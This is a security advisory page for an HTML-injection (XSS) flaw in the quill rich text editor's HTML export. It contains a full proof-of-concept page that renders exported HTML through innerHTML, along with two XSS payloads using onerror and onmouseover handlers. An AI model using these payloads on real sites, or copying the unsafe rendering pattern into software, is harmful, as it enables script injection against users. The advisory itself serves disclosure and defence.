Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting quill package, versions <=0.0.0-experimental-1523aa0d1-20241129>=2.0.0-dev.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.07% (21st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-QUILL-14927397
  • published14 Jan 2026
  • disclosed13 Jan 2026
  • creditCristian Vargas

Introduced: 13 Jan 2026

CVE-2025-15056  (opens in a new tab)
CWE-74  (opens in a new tab)

How to fix?

There is no fixed version for quill.

Overview

quill is a modern rich text editor built for compatibility and extensibility.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') due to the improper sanitazation in the getHTML() function. An attacker can execute arbitrary JavaScript code in the context of the user's browser by injecting malicious HTML that is not properly validated.

PoC

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Quill Forum Comments PoC</title>
    <link
      rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css"
    />
    <link
      rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css"
    />
    <style>
      body {
        font-family: Arial, sans-serif;
        margin: 24px;
        background: #f7f7f9;
      }
      .container {
        max-width: 900px;
        margin: 0 auto;
      }
      .card {
        background: #fff;
        border: 1px solid #ddd;
        border-radius: 8px;
        padding: 16px;
        margin-bottom: 16px;
      }
      #editor {
        height: 160px;
      }
      .actions {
        display: flex;
        gap: 8px;
        margin-top: 12px;
      }
      .comment {
        border-top: 1px solid #eee;
        padding: 12px 0;
      }
      .comment:first-child {
        border-top: none;
      }
      .meta {
        font-size: 12px;
        color: #666;
        margin-bottom: 6px;
      }
      .hint {
        color: #444;
      }
      code {
        background: #f1f1f1;
        padding: 2px 4px;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <h1>Forum Comments (Quill PoC)</h1>
      <p class="hint">
        Normal user flow: write a comment, click Post. The app stores HTML and
        renders it. Try these:
      </p>
      <p class="hint">
        Formula: <code>&lt;/span&gt;&lt;img src=x onerror=alert(1)&gt;</code>
        Video: <code>https://example.com&quot; onmouseover=&quot;alert(1)</code>
      </p>

      <div class="card">
        <div id="toolbar">
          <span class="ql-formats">
            <select class="ql-font"></select>
            <select class="ql-size"></select>
          </span>
          <span class="ql-formats">
            <button class="ql-bold"></button>
            <button class="ql-italic"></button>
            <button class="ql-underline"></button>
            <button class="ql-strike"></button>
          </span>
          <span class="ql-formats">
            <select class="ql-color"></select>
            <select class="ql-background"></select>
          </span>
          <span class="ql-formats">
            <button class="ql-script" value="sub"></button>
            <button class="ql-script" value="super"></button>
          </span>
          <span class="ql-formats">
            <button class="ql-header" value="1"></button>
            <button class="ql-header" value="2"></button>
            <button class="ql-blockquote"></button>
            <button class="ql-code-block"></button>
          </span>
          <span class="ql-formats">
            <button class="ql-list" value="ordered"></button>
            <button class="ql-list" value="bullet"></button>
            <button class="ql-indent" value="-1"></button>
            <button class="ql-indent" value="+1"></button>
          </span>
          <span class="ql-formats">
            <select class="ql-align"></select>
          </span>
          <span class="ql-formats">
            <button class="ql-link"></button>
            <button class="ql-image"></button>
            <button class="ql-video"></button>
            <button class="ql-formula"></button>
          </span>
          <span class="ql-formats">
            <button class="ql-clean"></button>
          </span>
        </div>
        <div id="editor"></div>
        <div class="actions">
          <button id="post">Post Comment</button>
          <button id="clear">Clear</button>
        </div>
      </div>

      <div class="card">
        <h2>Comments</h2>
        <div id="comments"></div>
      </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script>
    <script>
      const quill = new Quill('#editor', {
        theme: 'snow',
        modules: { toolbar: '#toolbar' },
      });

      const comments = [];

      const renderComments = () => {
        const container = document.getElementById('comments');
        container.innerHTML = '';
        comments.forEach((comment, index) => {
          const wrapper = document.createElement('div');
          wrapper.className = 'comment';
          const meta = document.createElement('div');
          meta.className = 'meta';
          meta.textContent = `User #${comment.user} · ${comment.time}`;
          const body = document.createElement('div');
          // Vulnerable render for PoC: rendering exported HTML directly
          body.innerHTML = comment.html;
          wrapper.appendChild(meta);
          wrapper.appendChild(body);
          container.appendChild(wrapper);
        });
      };

      document.getElementById('post').addEventListener('click', () => {
        const html = quill.getSemanticHTML();
        comments.unshift({
          user: Math.floor(Math.random() * 1000),
          time: new Date().toLocaleString(),
          html,
        });
        renderComments();
        quill.setContents([]);
      });

      document.getElementById('clear').addEventListener('click', () => {
        quill.setContents([]);
      });
    </script>
  </body>
</html>

CVSS Base Scores

version 4.0
version 3.1